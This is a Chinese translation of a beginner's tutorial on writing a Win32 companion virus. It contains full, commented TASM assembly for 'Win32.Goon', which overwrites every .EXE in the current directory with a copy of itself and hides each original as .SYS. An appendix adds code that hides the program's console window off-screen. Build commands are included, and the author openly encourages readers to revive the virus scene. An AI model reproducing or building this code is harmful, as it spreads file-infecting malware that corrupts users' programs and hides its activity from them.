怎麼編寫簡單的Win32伴侶病毒

譯者的話:
1. 由於格式問題,本文需用「寫字板」打開才能正常閱讀
2. 本人只是翻譯他人文章,對任何人利用本文形成不良後果不負任何責任!
3. 如下,即原文開始:

朋友們好,
今天我在29A#6中讀到了Benny寫的一篇文章。它題目是「病毒界的現狀」。我對此進行了思考,然後我決然寫這
篇教程!由於我想經過這個教程分享我全部的病毒知識。這個教程並不適於瞭解了本文所述更多內容更多的朋友,
但對於初學者和新手(像我)來講本文有益。是的,但願如此!當個人知識水平更進一步(下一步學習PE)後,我會
寫下所有所懂與你們分享。如今,教程開始,但願它對你有所幫助並能堅持看完它->你必須堅持!


+++++聲明+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
你能夠引用本文代碼,但若是你想....的話,我對你因本文形成的任何破壞不負任何責任!
個人母語不是英語,但願你能理解我話的意思.若是有任何建議可寫信至 [email]DiA_hates_machine@gmx.de[/email]

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

.....................................................
.                                                   .
. 索引:  _1_  :  什麼是伴侶病毒                      .
.                                                   .
.        _2_  :  伴侶病毒如何工做的                  .
.                                                   .
.        _3_  :  帶註釋的病毒例子                    .
.                                                   .
.        _4_  :  結束語                             .
.                                                   .
.       _666_ :  附加 [Fuck da Window]              .
.                                                   .
.....................................................


*** _1_ : 什麼是伴侶病毒 ***

伴侶病毒不改變宿主程序的代碼,也沒有添加代碼,掛起或者其餘任何動做。它僅僅是重命名宿主程序,而後把
本身複製爲宿主程序原來的文件名.當你運行程序時,病毒會首先運行,當它全部工做完成,才接着運行宿主程序
。你能夠把宿主和病毒二者的文件名都重命名回原先的文件名,這樣宿主程序就能恢復正常。下面給出全過程的原
理圖。

第一步: 

   /-------------\                            /-----------\
   |             |                           |            |
   | Program.EXE | ;目標文件的              | Virus.EXE  | ;咱們必須瞭解病毒文件中的
   |             | ;原先文件名              |            | ;API函數: GetCommandLineA
   \-------------/                            \-----------/

第二步:

   /-------------\                            /-----------\
   |             |                            |           |
   | Program.EXE |                            | Virus.EXE |
   |             |                            |           |
   \-------------/                            \-----------/
          |
          |
       複製爲
          |
          |
   /-------------\
   |             |
   | Program.SYS |
   |             |
   \-------------/

第三步:

   /-------------\                           /-----------\
   |             |                           |           |
   | Program.EXE |<---------複製爲-----------| Virus.EXE |
   |             |                           |           |
   \-------------/                           \-----------/

恢復方法:
刪除Program.EXE
把Program.SYS重命名回Program.EXE

所作就這些了...


*** _2_ : 伴侶病毒如何工做的 ***

1. 獲取病毒文件的文件名
2. 建立宿主文件的原先文件名
3. 在當前目錄搜索到第一個文件
4. 將目標文件複製爲另外一個文件名
5. 把病毒文件複製爲目標文件的原先文件名
6. 搜索下一個文件->重複4. -->沒有其餘文件 跳到7.
7. 運行宿主程序 (通過了步 2.) 
8. 病毒退出

*** _3_ : 帶註釋的病毒例子 ***

理論夠充足了!讓咱們看它怎麼工做...

編譯方法:

  TASM32 /z /ml /m3 Goon,,;
  TLINK32 -Tpe -c Goon,Goon,, import,lib


;-----cut----------------------------------------Goon.asm-----------------------------------

.386     ;386指令集
.model flat    ;內存平坦模式
jumps     ;TASM rulez

;+++++
; 你能理解,我想 :)
;+++++


extrn GetCommandLineA :PROC  ;獲取病毒文件和宿主文件
extrn lstrcpyA  :PROC  ;複製字符串
extrn FindFirstFileA :PROC  ;搜索當前目錄第一個匹配的文件
extrn FindNextFileA :PROC  ;經過文件句柄搜索下一個文件
extrn CopyFileA  :PROC  ;複製文件 (往上看 _2_)
extrn CreateProcessA :PROC  ;運行宿主
extrn ExitProcess :PROC  ;退出病毒程序 

;+++++
; 這裏,咱們聲明必需的API函數
; 我想你能理解
;+++++


.data
Goon   db ’Win32.Goon - Virus’,0
   db ’Only a Example Code’,0
   db ’by  DiA/auXnet’,0


FILETIME  STRUC
FT_dwLowDateTime dd ?
FT_dwHighDateTime dd ?
FILETIME  ENDS

WIN32_FIND_DATA          label    byte
 WFD_dwFileAttributes    dd       ?
 WFD_ftCreationTime      FILETIME ?
 WFD_ftLastAccessTime    FILETIME ?
 WFD_ftLastWriteTime     FILETIME ?
 WFD_nFileSizeHigh       dd       ?
 WFD_nFileSizeLow        dd       ?
 WFD_dwReserved0         dd       ?
 WFD_dwReserved1         dd       ?
 WFD_szFileName          db       260d dup (?)
 WFD_szAlternateFileName db       13   dup (?)
 WFD_szAlternateEnding   db       03   dup (?)

;+++++
; 這是 Win32 Find data:
; 這裏保存關於目標文件的全部數據
; 咱們僅僅對包含目標文件的名稱的"WFD_szFileName"
; 記住咱們必須複製目標文件成另一個文件名,
; 而把病毒複製成目標文件最早的文件名
;+++++


VirusFile  db 260d dup (0)
HostFile  db 260d dup (0)
HostCopy  db 260d dup (0)

;+++++
; 這裏建立文件名的空間:病毒文件名,宿主文件名,
; 還有咱們必須建立的文件名(從目標文件複製)
;+++++


FileMask  db ’*.EXE’,0
FindHandle  dd 0
ProcessInfo  dd 4 dup (0)
StartupInfo  dd 4 dup (0)

;+++++
; 包含咱們必須搜索的文件
; FileHandle 包含搜索的文件的句柄 (FindNextFileA)
; ProcessInfo and StartupInfo 僅僅是爲了運行宿主 (不重要)
;+++++


.code
start:

;+++++
; ROCK ’N ROLL =)
;+++++


call GetCommandLineA

;+++++
; 這裏咱們獲取包含正在運行的程序文件名的CommandLine
; (病毒文件 :). 如今,line 在eax了, 看下一步...
;+++++


inc eax     ; fuck da "
push eax
push offset VirusFile
call lstrcpyA    ;複製它

;+++++
; 爲何要’inc eax’???
; 由於CommandLine相似這樣:"C:\LUCI\HELL.EXE" (包含 ")
; 咱們不能運行,複製帶有"的程序,因此咱們走到前面一個地方
; 它從eax複製到VirusFile
;+++++


mov esi,offset VirusFile  ;now in esi
call GetPoint    ;call a kewl procedure ;)

;+++++
; we must find da point to fuck the other "
; 讓咱們看看...
;+++++


mov dword ptr [esi+4],00000000d  ;清除它

;+++++
; 咱們走到.EXE後面並清除"號
; ->如今咱們獲得完整funcional VirusFile
;+++++


push offset VirusFile
push offset HostFile
call lstrcpyA

;+++++
; 把文件名複製到HostFile, 這樣咱們能夠改變它並獲得真的Host文件名 (.SYS)
; ...
;+++++


mov esi,offset HostFile
call GetPoint

;+++++
; 獲得指針...
;+++++


mov dword ptr [esi],5359532Eh  ;5359532Eh = ’SYS.’

;+++++
; 把它重命名爲 .SYS (last 4 letters with point)
; 如今咱們獲得HostFile, 可能運行宿主...
; ...可是等等! 咱們必須感染文件!!!
;+++++


push offset WIN32_FIND_DATA
push offset FileMask
call FindFirstFileA
mov dword ptr [FindHandle],eax  ;保存句柄

;+++++
; 若是你不懂WIN32_FIND_DATA and FileMask,請往上看...
; Call後Find Handle保存在eax中, FindNextFileA還要用到,咱們保存它...
;+++++


FindNext:
test eax,eax    ;還有文件?
jz RunHost    ;若是沒有就跳到RunHost

;+++++
; 當eax是null,說明當前目錄裏沒有更多的文件能夠被感染了
; 全部的文件都感染後就運行宿主
;+++++


push offset WFD_szFileName
push offset HostCopy
call lstrcpyA

;+++++
; 得制 WFD_szFileName 到 HostCopy 來重命名和複製它
;+++++


mov esi,offset HostCopy
call GetPoint

;+++++
; 獲得指針來重命名文件名爲.SYS
; 稍後使用它複製原先的文件爲宿主文件
;+++++


mov dword ptr [esi],5359532Eh  ; SYS.

;+++++
; 把它重命名爲 .SYS (last 4 letters)
; 如今咱們作因此工做完成感染目標文件:
; 病毒文件名
; 原先文件名
; 重命名目標文件名
; rock ’n roll =)
;+++++


push 1     ;若是文件已存在就不復制
push offset HostCopy
push offset WFD_szFileName
call CopyFileA

;+++++
; 如今咱們複製.EXE文件爲.EXE文件,宿主文件在.sys
; 若是文件已經存在,咱們就不要複製它,咱們不能複製它兩次
;+++++


push 0     ;無條件複製
push offset WFD_szFileName
push offset VirusFile
call CopyFileA

;+++++
; 咱們複製病毒爲目標.EXE文件
; 無條件複製,由於咱們不能有兩個宿主而沒有病毒
;+++++


push offset WIN32_FIND_DATA
push dword ptr [FindHandle]
call FindNextFileA
jmp FindNext

;+++++
; 你還記得咱們保存FindHandle吧...
; 咱們搜索更多的文件!
; 跳到FindNext並檢查更多的文件
;+++++


RunHost:
xor eax,eax    ;null
push offset ProcessInfo   ;這個,咱們不感興趣
push offset StartupInfo   ;...
push eax
push eax
push 00000010h    ;建立進程
push eax
push eax
push eax
push offset HostFile
push offset HostFile   ;運行它
call CreateProcessA

;+++++
; 記住咱們重命名病文件爲宿主文件(.SYS), 如今咱們經過這個名運行
;+++++


push 0
call ExitProcess

;+++++
; 全部這些作完,咱們把控制交給宿主
;+++++


GetPoint:
cmp byte ptr [esi],’.’   ;point?
jz FoundPoint    ;je return
inc esi     ;scan next place
jmp GetPoint
FoundPoint:
ret     ;return

;+++++
; at last the GetPoint procedure...
; scan for ’.’ and if found return to place where are called
;+++++


end start

;+++++
; 晚安
;+++++

;-----cut-----------------------------------------------------------------------------------


*** _4_ : 結束語 ***

嗯,教程完畢。如今你能夠寫Win32伴侶病毒了。繼續寫代碼,不斷學習...讀Benny的文章,
你想堅持下去;)咱們必須幫助病毒界在不久未來重放光芒!!!

向Benny/29A表示致謝- 是你用傑出的文章激發我寫下這篇教程

謝謝閱讀...



*** _666_ : 附加 [Fuck da Window] ***


下面給出一種隱藏病毒的簡單方法(你知道...  控制檯)
;-----cut-----FuckW.asm---------------------------------------------------------------------

.386
.model flat
jumps

;+++++
; bla bla bla
;+++++


extrn SetConsoleTitleA :PROC
extrn FindWindowA :PROC
extrn SetWindowPos :PROC
extrn Sleep  :PROC

;+++++
; needed API’s from the FuckWindow procedure
;+++++


extrn MessageBoxA :PROC
extrn ExitProcess :PROC

;+++++
; 這裏是其餘API
; 僅僅是顯示它在工做,還有退出
;+++++


.data
oTitle   db ’Only to Show...’,0
oMsg   db ’See you a Window in the Back?’,10,13
   db ’No, thats good, hee?’,10,13
   db ’              DiA /auXnet’,0

;+++++
; 僅僅是擺下姿態 ;)
;+++++


NewConsoleTitle  db ’[ANVX]’,0
WindowHandle  dd 0

;+++++
; 這裏是一個新的控制檯標題(任何你想的...)
; 還有WindowHandle,用來保存句柄
;+++++


.code
start:

;+++++
; 這是你掌握的...
;+++++


call FuckWindow

;+++++
; 咱們調用這個函數,首先快速隱藏窗體
;+++++


push 0
push offset oTitle
push offset oMsg
push 0
call MessageBoxA

push 0
call ExitProcess

;+++++
; 在這時寫下你的代碼,任何你想寫的...
;+++++


FuckWindow:    ;函數
push offset NewConsoleTitle
call SetConsoleTitleA

;+++++
; 這裏是隱藏窗體的函數
; 首先咱們認定一個新的控制檯標題,咱們知道窗體必須隱藏
;+++++


call Sleep5    ;過程

;+++++
; 短短的休眠(5 mil sek)它能更好地工做
;+++++


push offset NewConsoleTitle
push 0
call FindWindowA
mov dword ptr [WindowHandle],eax ;句柄

;+++++
; 往上看!咱們定義一個新的控制檯標題...
; 如今咱們搜索窗體(NewConsoleTitle)並保存 WindowHandle
;+++++


call Sleep5

;+++++
; 休眠是很好的...
;+++++


push 0
push 1     ;窗體高度
push 1     ;窗體寬度
push 20000    ;Y
push 20000    ;X
push 0
push dword ptr [WindowHandle]
call SetWindowPos
ret

;+++++
; 經過SetWindowPos隱藏窗體
; 窗體的高和寬是1 (看不到了 :)
; 還有xy座標是20000 . 在屏幕外面了 =)
; 返回...
;+++++


Sleep5:
push 5
call Sleep
ret

;+++++
; 容易, sleep 5mil sek
; 返回...
;+++++

end start

;-----cut-----------------------------------------------------------------------------------

...編譯方法:
   TASM32 /z /ml /m3 YourProc,,;
   TLINK32 -Tpe -c -aa YourProc,YourProc,, import32.lib

效果-> 如今不是一個"控制檯", 它運行在"窗體"下...
         完畢。查看TASM說明!


祝你好運...
繼續寫代碼...
                                     _________________

                                     DiA /auXnet (c)02
                                     _________________
ide

相關文章
相關標籤/搜索